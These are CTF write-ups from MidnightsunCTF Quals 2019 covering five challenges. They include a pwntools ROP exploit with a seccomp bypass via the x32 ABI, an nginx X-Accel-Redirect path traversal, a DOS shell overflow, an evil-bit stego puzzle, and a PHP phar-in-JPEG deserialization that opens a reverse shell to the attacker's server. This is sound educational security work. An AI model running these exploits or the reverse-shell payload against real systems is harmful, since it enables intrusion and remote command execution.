• MidnightsunCTF Quals 2019 - gissa2 (631 pts, 15 solves)

    Last year some dirty hackers found a way around my guessing challenge, well I patched the issue. Can you guess again?

    Service: nc gissa-igen-01.play.midnightsunctf.se 4096

    Download: gissa_igen.tar.gz

    Analysis

    The provided binary first mmaps the flag and then lets us try to guess it. After mapping the flag, the binary also installs a seccomp filter which forbids the system calls open, clone, fork, vfork, execve, creat, openat and execveat.

    The length of the buffer our input is read to is stored in the main() function as a uint16_t, but a pointer to this length is passed to the guess_flag() function as a uint32_t *. Right after the buffer length the current number of tries is stored, so when guess_flag() accesses the buffer length, it actually uses both of these values. This has the effect that on our first guess, the buffer length has the correct value of 0x8b, but on the second guess, the buffer length has increased to 0x1008b, which leads to a stack buffer overflow.

    Exploit: ROP

    No canary is used, so we can easily overwrite the return address. The only problem left before we can execute a ROP chain is that we don’t know the binary’s base address (it’s a PIE). But that’s easily solved: because the binary doesn’t terminate our input string, we can leak the original return address before sending our ROP chain. However, when we gain control of the execution flow, the flag has already been unmapped and its file descriptor closed. There’s no way for us to divert the execution flow before that point, so we have to find a way to bypass the seccomp filter.

    ROP to Shellcode

    To ease bypassing of the seccomp filter, let’s first set up a ROP chain to get shellcode execution. The ROP chain is pretty straightforward: map some RWX memory at a fixed address, read our next input into it, and jump there.

    sc_addr = 0x1337000
    rop = rop_call(binary + off_mmap, sc_addr, 0x10000, 7, 0x32, -1, 0)
    rop += rop_call(binary + off_read, 0, sc_addr, 0x10000)
    rop += p64(sc_addr)
    

    Bypass seccomp Filter

    Now that we can execute shellcode, the only thing left is somehow bypassing the seccomp filter in order to read the flag. Here’s the filter used:

     line  CODE  JT   JF      K
    =================================
     0000: 0x20 0x00 0x00 0x00000004  A = arch
     0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
     0002: 0x06 0x00 0x00 0x00000000  return KILL
     0003: 0x20 0x00 0x00 0x00000000  A = sys_number
     0004: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0006
     0005: 0x06 0x00 0x00 0x00000000  return KILL
     0006: 0x15 0x00 0x01 0x00000038  if (A != clone) goto 0008
     0007: 0x06 0x00 0x00 0x00000000  return KILL
     0008: 0x15 0x00 0x01 0x00000039  if (A != fork) goto 0010
     0009: 0x06 0x00 0x00 0x00000000  return KILL
     0010: 0x15 0x00 0x01 0x0000003a  if (A != vfork) goto 0012
     0011: 0x06 0x00 0x00 0x00000000  return KILL
     0012: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0014
     0013: 0x06 0x00 0x00 0x00000000  return KILL
     0014: 0x15 0x00 0x01 0x00000055  if (A != creat) goto 0016
     0015: 0x06 0x00 0x00 0x00000000  return KILL
     0016: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0018
     0017: 0x06 0x00 0x00 0x00000000  return KILL
     0018: 0x15 0x00 0x01 0x00000142  if (A != execveat) goto 0020
     0019: 0x06 0x00 0x00 0x00000000  return KILL
     0020: 0x06 0x00 0x00 0x7fff0000  return ALLOW
    

    The filter checks the current architecture, so we cannot bypass it by switching to 32-bit mode However, if we set bit 30 of the syscall number, we can access the ‘x32’ syscall ABI, which provides basically the same system calls and is not blocked by the seccomp filter. Thus, using syscall 0x40000002 instead of 2 for open lets us open and print the flag.

    # open(0x1338000, 0, 0) - 0x1338000 contains the path
    mov rax, 0x40000002
    mov rdi, 0x1338000
    mov rsi, 0
    mov rdx, 0
    syscall
    
    # read(flag, 0x1338000, 0x100)
    mov rdi, rax
    mov rax, 0
    mov rsi, 0x1338000
    mov rdx, 0x100
    syscall
    
    # write(1, 0x1338000, 0x100)
    mov rax, 1
    mov rdi, 1
    mov rsi, 0x1338000
    mov rdx, 0x100
    syscall
    

    Flag: midnight{I_kN3w_1_5H0ulD_h4v3_jUst_uS3d_l1B5eCC0mP}

    Exploit Code

    from pwn import *
    
    context.binary = 'gissa_igen'
    
    shellcode = asm('''
        mov rax, 0x40000002
        mov rdi, 0x1338000
        mov rsi, 0
        mov rdx, 0
        syscall
    
        mov rdi, rax
        mov rax, 0
        mov rsi, 0x1338000
        mov rdx, 0x100
        syscall
    
        mov rax, 1
        mov rdi, 1
        mov rsi, 0x1338000
        mov rdx, 0x100
        syscall
    ''')
    
    g = remote('gissa-igen-01.play.midnightsunctf.se', 4096)
    
    # increase buf_len
    g.sendlineafter('flag (', '')
    g.recvuntil('try again')
    
    # overwrite buf_len with 168
    g.sendlineafter('flag (', 'A' * 140 + p32(168) + p64(0) * 2)
    
    # leak binary addr
    g.sendafter('flag (', 'A' * 140 + '\xff\xff' + '\x01\x01' + 'B' * 8 + '\xff' * 8 + 'C' * 8)
    g.recvuntil('C' * 8)
    binary = u64(g.recvuntil(' is not right', drop=True).ljust(8, '\0')) - 0xbc5
    info("binary @ 0x%x", binary)
    
    # ROP to shellcode
    
    def rop_call(func, rdi=0, rsi=0, rdx=0, rcx=0, r8=0, r9=0):
        return flat(binary + 0xc1f, rcx, 0, 0, 0, binary + 0xc1d, rdx, r9, r8, rdi, rsi, func)
    
    sc_addr = 0x1337000
    # mmap
    rop = rop_call(binary + 0xc0c, sc_addr, 0x10000, 7, 0x32, -1, 0)
    # read
    rop += rop_call(binary + 0xbd4, 0, sc_addr, 0x10000)
    rop += p64(sc_addr)
    g.sendlineafter('flag (', 'A' * 168 + rop)
    
    g.sendafter('not right.\n', shellcode.ljust(0x1000, '\0') + '/home/ctf/flag\0')
    
    g.interactive()
    
  • MidnightsunCTF Quals 2019 - bigspin

    bigspin was a challenge for the MidnightsunCTF Quals 2019

    On visiting the linked website you get a message, asking if you are a user, admin or uberadmin, or just a usual pleb (all links to identically named subdirectories).

    We are all usual plebs

    Visiting anything but pleb fails. Visting pleb results in the content of example.com showing on your screen.

    With a bit of trial and error it becomes obvious that it’s a reverse proxy for example.com with a missing / after the domain name, making it possible to visit something like /pleb.localhost.localdomain/user.

    nginx.cönf

    Accessing the directory gives us a directory listing with a single file called nginx.cönf (including a space at the end of the filename).

    Just clicking on the file results in a 404, we have to double encode the filename because nginx decodes it first before it’s used in the reverse proxy url. Something like /pleb.localhost.localdomain/user/nginx.c%25C3%25B6nf%2520 works and gives us a copy of the used nginx config:

    worker_processes 1;
    user nobody nobody;
    error_log /dev/stdout;
    pid /tmp/nginx.pid;
    events {
      worker_connections 1024;
    }
    
    http {
    
        # Set an array of temp and cache files options that otherwise defaults to
        # restricted locations accessible only to root.
    
        client_body_temp_path /tmp/client_body;
        fastcgi_temp_path /tmp/fastcgi_temp;
        proxy_temp_path /tmp/proxy_temp;
        scgi_temp_path /tmp/scgi_temp;
        uwsgi_temp_path /tmp/uwsgi_temp;
        resolver 8.8.8.8 ipv6=off;
    
        server {
            listen 80;
    
            location / {
                root /var/www/html/public;
                try_files $uri $uri/index.html $uri/ =404;
            }
    
            location /user {
                allow 127.0.0.1;
                deny all;
                autoindex on;
                root /var/www/html/;
            }
    
            location /admin {
                internal;
                autoindex on;
                alias /var/www/html/admin/;
            }
    
            location /uberadmin {
                allow 0.13.3.7;
                deny all;
                autoindex on;
                alias /var/www/html/uberadmin/;
            }
    
            location ~ /pleb([/a-zA-Z0-9.:%]+) {
                proxy_pass   http://example.com$1;
            }
    
            access_log /dev/stdout;
            error_log /dev/stdout;
        }
    
    }
    

    I’m an admin!

    We can see that /admin is an internal block, which can’t be accessed directly but since we have control over the reverse proxy URL we can use it to point to a server of our control and add a header like X-Accel-Redirect: /admin/, which instructs nginx to do an internal redirect and delivers us the content as if we’d have been able to access /admin/ directly.

    In the admin directory is a flag.txt, but it only tells us that the flag is only for uberadmins.

    I lied, I’m really an uberadmin.

    Since the location blocks are not terminated with a slash but the alias in the /admin block is terminated we can inject dots to access a higher directory.

    Setting the header on our server to X-Accel-Redirect: /admin../uberadmin/flag.txt results in the flag.

    Lesson learned: Terminate all paths and URLs with slashes.

  • MidnightsunCTF Quals 2019 - hfs

    Stage1: Getting Past The Password Auth (hfs-mbr)

    I used IDA in remote debug mode during the CTF, but it was somehow buggy and an overall painful experience for me. Writeup using radare2 (even though, what a surprise, their 16 bit remote debugger seems to be currently kind of broken as well).

    r2 -b16 dos.img
    

    At offset 0000:0637 we find the main password loop of the program.

    m1

    A single character is read, then a check is performed if the character is in the range of [a-z]. If it is, the char is converted into numbers ranging from 0 to 25. Afterwards the number is multiplied by 2 and serves as the index of a jumptable. E.g. depending on the index a different function is called (jmp ax).

    We can find the called functions below, starting at 0000:0662. Luckily they were in oder, e.g. the first jumptable function belongs to the character ‘a’, the second to ‘b’, etc.

    m11

    Most of the functions are dummy ones, effectively doing nothing. But some of them contain some checks, and depending on the outcome a different path is choosen. The 0x7d9 path is the one we don’t want to take. 0x7ce Is the way to go because it increments a counter for the amount of ‘correct chars’ (0x81bb), while the other one just increments the ‘total chars’ (0x81ba). If after 9 input bytes both counters are equal, the password is correct.

    So the objective is clear, we have to find the correct order of all jumptable functions.

    Effectively all jumptable functions are doing the same, however they are more or less “obfuscated”.

    1. They take the number of ‘total chars’ and xor it with the current input character (xor dl, byte [0x81ba]).
    2. They compare the resulting value with a fixed one, and take the good branch if correct

    So I just deobfuscated all functions and noted the value they compare the input with. E.g. the function for char ‘e’ can be seen at 0000:0686.

    1. The first ax assignment is useless because of the follow up xor ax, ax (ax = 0)
    2. 6 times adding 0x10 to ax is equal to ax = 0x60
    3. Therefore 0x60 is subtracted from our xored charcode, and if the result is 2 we are good. This equation is fulfilled for xored charcode == 0x62.

    I now did this for all functions and wrote a python script to resolve the correct order.

    chars = {'e': 0x62, 'j': 0x68, 'n': 0x68, 'o': 0x6e, 'p': 0x74, 'r': 0x7a, 's': 0x73, 'u': 0x76, 'w': 0x72}
    pw = ''
    n = 0
    for _ in range(len(chars)):
        for c in chars:
            if (ord(c) ^ n) == chars[c]:
                pw += c
                n += 1
    print(pw)
    

    we get sojupwner, wich leads us to the first flag midnight{w0ah_Sh!t_jU5t_g0t_REALmode} and gives us access to stage2. We are now dropped into a custom written “shell” (COMMAND.COM).

    Stage2: Pwning The Shell (hfs-dos)

    First of all, I extracted the COMMAND.COM binary out of the raw image.

    fdisk -l dos.img
    
    Disk dos.img: 10 MiB, 10485760 bytes, 20480 sectors
    Units: sectors of 1 * 512 = 512 bytes
    Sector size (logical/physical): 512 bytes / 512 bytes
    I/O size (minimum/optimal): 512 bytes / 512 bytes
    Disklabel type: dos
    Disk identifier: 0x00000000
    
    Device     Boot Start   End Sectors  Size Id Type
    dos.img1   *       63 20159   20097  9.8M  1 FAT12
    

    We can see that the FAT12 Filesystem starts at offset 63, and the sector size is 512. Therefore we setup the loop device for an offset of 63*512.

    losetup /dev/loop0 dos.img -o 32256
    

    Now we can mount and comfortably read the filesystem.

    mount /dev/loop0 /mnt
    

    Extract the COMMAND.COM and throw it into IDA or radare2.

    The bug was pretty easy to spot as well, even found it bevore even looking at the disassembly. Deleting a character by using backspace had no lower bounds check. With this we could owerwrite jumptable entries for console commands as they were placed directly above the input buffer. By entering an overwritten command we now could now jump arbitrary.

    m2

    An other thing I used to exploit is, that the shell reads and prints the flag for stage1 in the beginning. And the Filename of Flag1 was right above us as well. Therefore my attack was as follows:

    1. Overwrite the filename of the first flag (FLAG1) so it becomes FLAG2
    2. Overwrite a jumptable entry of some console command with the address of the “print flag” function.
    3. Trigger by executing the overwritten command (“pong” in my case)
    from pwn import *
    
    # setup and stage1
    r = remote('hfs-os-01.play.midnightsunctf.se', 31337)
    r.recvuntil('MBR]>')
    r.sendline('sojupwner')
    r.send('ping')
    r.recvuntil('PONG')
    
    # actual exploit
    r.send('\x7f' * 3 + '2\x0d')
    r.send('\x7f' * 11 + struct.pack('<H', 0x14f) + '\x0d')
    r.send('pong')
    r.interactive()
    

    we get midnight{th4t_was_n0t_4_buG_1t_is_a_fEatuR3}.

  • MidnightsunCTF Quals 2019 - Dr. Evil

    Dr. evil was a stego task from the Midnightsun CTF 2019 qualifier

    The task gave you a .pcap file and this hint

    “We have managed to intercept communications from Dr. Evil’s base but it seems to be encrypted. Can you recover the secret message.”

    tl;dr at the end
    

    Finding the flag:

    The .pcap contained one TCP/TLS connection and some DNS querys. The DNS querys/responses were all related to the TLS connection and the, in total 16 DNS packets, were easy to go through through manually.

    Addresses from DNS querys/responses 3c3db807.ngrok.io A-> 52.15.194.28 AAAA-> 2600:1f16:59e:b200:cd2c:dd37:7e0c:bb3e 53.0.0.127.in-addr.arpa 15.2.0.10.in-addr.arpa 1.92.168.192.in-addr.arpa pwnbox.local router.asus.com

    The TLS connection was to (3c3db807.ngrok.io, 52.15.194.28) In the CTF this task had only the label “Network”. I didn’t know anything about ngrok.io, so I checked the website and did a bit googling. It turned out, that ngrok.io is some “I can’t do portforwarding on my router” service and 3c3db807 from 3c3db807.ngrok.io seemed to be the name you have to use at ngrok.

    The certificate used for the connection was the one from ngrok. As this was not a crypto task and ngrok was not some fake service just for the ctf I thought that the TLS connection itself was secure.

    The Addresses which were found in the .pcap all belong to either some local Network, or AWS (which is used by ngrok). I then checked out the 3c3db807.ngrok.io service on 4 and 6, but it just showed the default ngrok offline/notfound message on port 80/443. “Tunnel kdlsjfs.ngrok.io not found” on ipv6 the portscan showed an open ssh port, but this was also from ngrok, so unrelated to the challenge.

    As a last try I checked google and archive.org for 3c3db807.ngrok.io, but this was also without a result

    At this point I did not know what else to look for, so I randomly scrolled through wireshark. After a while I thought to notice that the packet sizes were unusual, so I used scapy to print out all the packetsizes as I hoped to find a pattern, which was also without a result.

    When playing around with scapy I noticed something

    ###[ IP ]### 
      version   = 4
      ihl       = 5
      tos       = 0x0
      len       = 40
      id        = 12160
      flags     = evil <-------------------------
      frag      = 0
      ttl       = 64
      proto     = tcp
      chksum    = 0x4916
      src       = 52.15.194.28
      dst       = 10.0.2.15
      \options   \
    ###[ TCP ]### 
         sport     = https
         dport     = 56030
         seq       = 932416002
         ack       = 2065585685
         dataofs   = 5
         reserved  = 0
         flags     = A
         window    = 65535
         chksum    = 0x3e37
         urgptr    = 0
         options   = []
    ###[ Padding ]### 
            load      = '\x00\x00\x00\x00\x00\x00'
    

    flags = evil

    evil like the name of the task.

    when listing all the evil flags from all packets from the host “52.15.194.28” as 1/0 it gives this pattern:

    0100110001100001011001000110100101100101011100110010000001100001011011100110010000100000011001110110010101101110011101000110110001100101011011010110010101101110001011000010000001110111011001010110110001100011011011110110110101100101001000000111010001101111001000000110110101111001001000000111010101101110011001000110010101110010011001110111001001101111011101010110111001100100001000000110110001100001011010010111001000101110001000000100100100100000011010000110000101110110011001010010000001100111011000010111010001101000011001010111001001100101011001000010000001101000011001010111001001100101001000000110001001100101011001100110111101110010011001010010000001101101011001010010000001110100011010000110010100100000011101110110111101110010011011000110010000100111011100110010000001100100011001010110000101100100011011000110100101100101011100110111010000100000011000010111001101110011011000010111001101110011011010010110111001110011001011100010000001000001011011100110010000100000011110010110010101110100001011000010000001100101011000010110001101101000001000000110111101100110001000000111100101101111011101010010000001101000011000010111001100100000011001100110000101101001011011000110010101100100001000000111010001101111001000000110101101101001011011000110110000100000010000010111010101110011011101000110100101101110001000000101000001101111011101110110010101110010011100110010000001100001011011100110010000100000011100110111010101100010011011010110100101110100001000000111010001101000011001010010000001100110011011000110000101100111001000000010001001101101011010010110010001101110011010010110011101101000011101000111101100110001010111110100110101101001011011000110110001101001001100000110111001011111011001010111011001101001011011000101111101100010001100010111010001111010001000010111110100100010001011100010000001010100011010000110000101110100001000000110110101100001011010110110010101110011001000000110110101100101001000000110000101101110011001110111001001111001001011100010000001000001011011100110010000100000011101110110100001100101011011100010000001000100011100100010111000100000010001010111011001101001011011000010000001100111011001010111010001110011001000000110000101101110011001110111001001111001001011000010000001001101011100100010111000100000010000100110100101100111011001110110110001100101011100110111011101101111011100100111010001101000001000000110011101100101011101000111001100100000011101010111000001110011011001010111010000101110001000000100000101101110011001000010000001110111011010000110010101101110001000000100110101110010001011100010000001000010011010010110011101100111011011000110010101110011011101110110111101110010011101000110100000100000011001110110010101110100011100110010000001110101011100000111001101100101011101000010110000100000011100000110010101101111011100000110110001100101001000000100010001001001010001010010000100100001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
    

    converting to ascii: Ladies and gentlemen, welcome to my underground lair. I have gathered here before me the world’s deadliest assassins. And yet, each of you has failed to kill Austin Powers and submit the flag “midnight{1_Milli0n_evil_b1tz!}”. That makes me angry. And when Dr. Evil gets angry, Mr. Bigglesworth gets upset. And when Mr. Bigglesworth gets upset, people DIE!!

    midnight{1_Milli0n_evil_b1tz!}

    TLDR: The flag is in hidden in the “evil” bit of the Ipv4 header https://www.ietf.org/rfc/rfc3514.txt https://en.wikipedia.org/wiki/Evil_bit

    Ladies and gentlemen, welcome to my underground lair. I have gathered here before me the world’s deadliest assassins. And yet, each of you has failed to kill Austin Powers and submit the flag “midnight{1_Milli0n_evil_b1tz!}”. That makes me angry. And when Dr. Evil gets angry, Mr. Bigglesworth gets upset. And when Mr. Bigglesworth gets upset, people DIE!!

    from scapy.all import *
    
    currentChar = 0
    count = 7
    def read(packet):
        global currentChar
        global count
        if packet[IP].src == "52.15.194.28":
            if packet[IP].flags:
                currentChar += 2**count
            count = count-1
            if count < 0:
                count = 7
                print(chr(currentChar), end="")
                currentChar = 0
    
    sniff(offline='/home/markus/ctf/midnight/evil/dr-evil.pcap', prn=read, store=0)
    print()
    
  • Midnightsunctf Rubenscube

    This task provided a file upload for images. After looking at the robots.txt we saw that a file “source.zip” exists in which the source code of the app is stored.

    The upload functionality is implemented as:

    <?php
    session_start();
    
    function calcImageSize($file, $mime_type) {
        if ($mime_type == "image/png"||$mime_type == "image/jpeg") {
            $stats = getimagesize($file);  // Doesn't work for svg...
            $width = $stats[0];
            $height = $stats[1];
        } else {
            $xmlfile = file_get_contents($file);
            $dom = new DOMDocument();
            $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
            $svg = simplexml_import_dom($dom);
            $attrs = $svg->attributes();
            $width = (int) $attrs->width;
            $height = (int) $attrs->height;
        }
        return [$width, $height];
    }
    
    
    class Image {
    
        function __construct($tmp_name)
        {
            $allowed_formats = [
                "image/png" => "png",
                "image/jpeg" => "jpg",
                "image/svg+xml" => "svg"
            ];
            $this->tmp_name = $tmp_name;
            $this->mime_type = mime_content_type($tmp_name);
    
            if (!array_key_exists($this->mime_type, $allowed_formats)) {
                // I'd rather 500 with pride than 200 without security
                die("Invalid Image Format!");
            }
    
            $size = calcImageSize($tmp_name, $this->mime_type);
            if ($size[0] * $size[1] > 1337 * 1337) {
                die("Image too big!");
            }
    
            $this->extension = "." . $allowed_formats[$this->mime_type];
            $this->file_name = sha1(random_bytes(20));
            $this->folder = $file_path = "images/" . session_id() . "/";
        }
    
        function create_thumb() {
            $file_path = $this->folder . $this->file_name . $this->extension;
            $thumb_path = $this->folder . $this->file_name . "_thumb.jpg";
            system('convert ' . $file_path . " -resize 200x200! " . $thumb_path);
        }
    
        function __destruct()
        {
            if (!file_exists($this->folder)){
                mkdir($this->folder);
            }
            $file_dst = $this->folder . $this->file_name . $this->extension;
            move_uploaded_file($this->tmp_name, $file_dst);
            $this->create_thumb();
        }
    }
    
    new Image($_FILES['image']['tmp_name']);
    header('Location: index.php');
    

    The first issue we discovered was that the deserialization of an svg image allows external entities. So we tried to upload an svg image with an external entity which uses an expect statment. This should execute the command provided in it on the server. The problem is that php needs a specific module to interpret the expect statement, which was not installed.

    Also interesting is that ‘system’ is directly called to convert the images. Unfortunately we have no control over the parameter. After hours of search we found out that we can ‘disguise’ a phar archive as an jpeg image, which we now can upload to the server. The important part comes now. We are able to provide a serialized object in the metadata of the phar archive and we have full control over the attributes of this object. When the object gets deserialized it will get instantly destroyed by the garbage collector and so the ‘__destruct()’ method gets called. Therefore we can set the ‘$folder’ attribute of the Image object to run abitrary commands on the host system.

    To activate the phar archive we can use the stream wrapper ‘phar://’ which we can provide as an external entity of an svg image.

    This is our script to create the phar archive:

    <?php
    
    $jpeg_header_size = 
    "\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
    "\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
    "\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
    "\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
    "\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
    "\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
    "\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
    "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
    "\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
    "\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";
    
    $phar = new Phar("exploit.phar");
    $phar['exp.php'] = '<?php system(\'php -r \\\'$sock=fsockopen("",1234);exec("/bin/sh -i <&3 >&3 2>&3");\\\'\');?>';
    $phar->startBuffering();
    $phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
    class Image {}
    $o = new Image();
    $o->folder = " | php -r '\$sock=fsockopen(\"<ip of server>\",1234);exec(\"/bin/sh -i <&3 >&3 2>&3\");' | ";
    $phar->setMetadata($o);
    $phar->stopBuffering();
    

    The code of the ‘exp.php’ file inside this archive will not get executed and is just an artifact of one of our attempts. But there has to be one php file inside the phar archive which we can access via the stream wrapper.

    Let’s see what ‘file’ has to say about the archive.

    $ php pack.php 
    $ file exploit.phar 
    exploit.phar: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3
    

    The archive is in fact recognized as a jpeg image.

    Now we crafted an svg image with external entities which should trigger the phar archive.

    <?xml version="1.0" standalone="yes"?>
    <!DOCTYPE convert [ <!ENTITY % payl SYSTEM "phar://images/cb8v42f3sfisnad6piq9sl23u7/f79556d9bf3197276c38c26bdbaba9511103ac93.jpg/exp.php">%payl;]>
    <svg width="500px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-family="Verdana" font-size="16" x="10" y="40"></text></svg>
    

    The path used in the svg image can be found in the gallery. After uploading this svg image the reverse shell got initiated and we could get the flag flag{R3lying_0n_PHP_4lw45_W0rKs}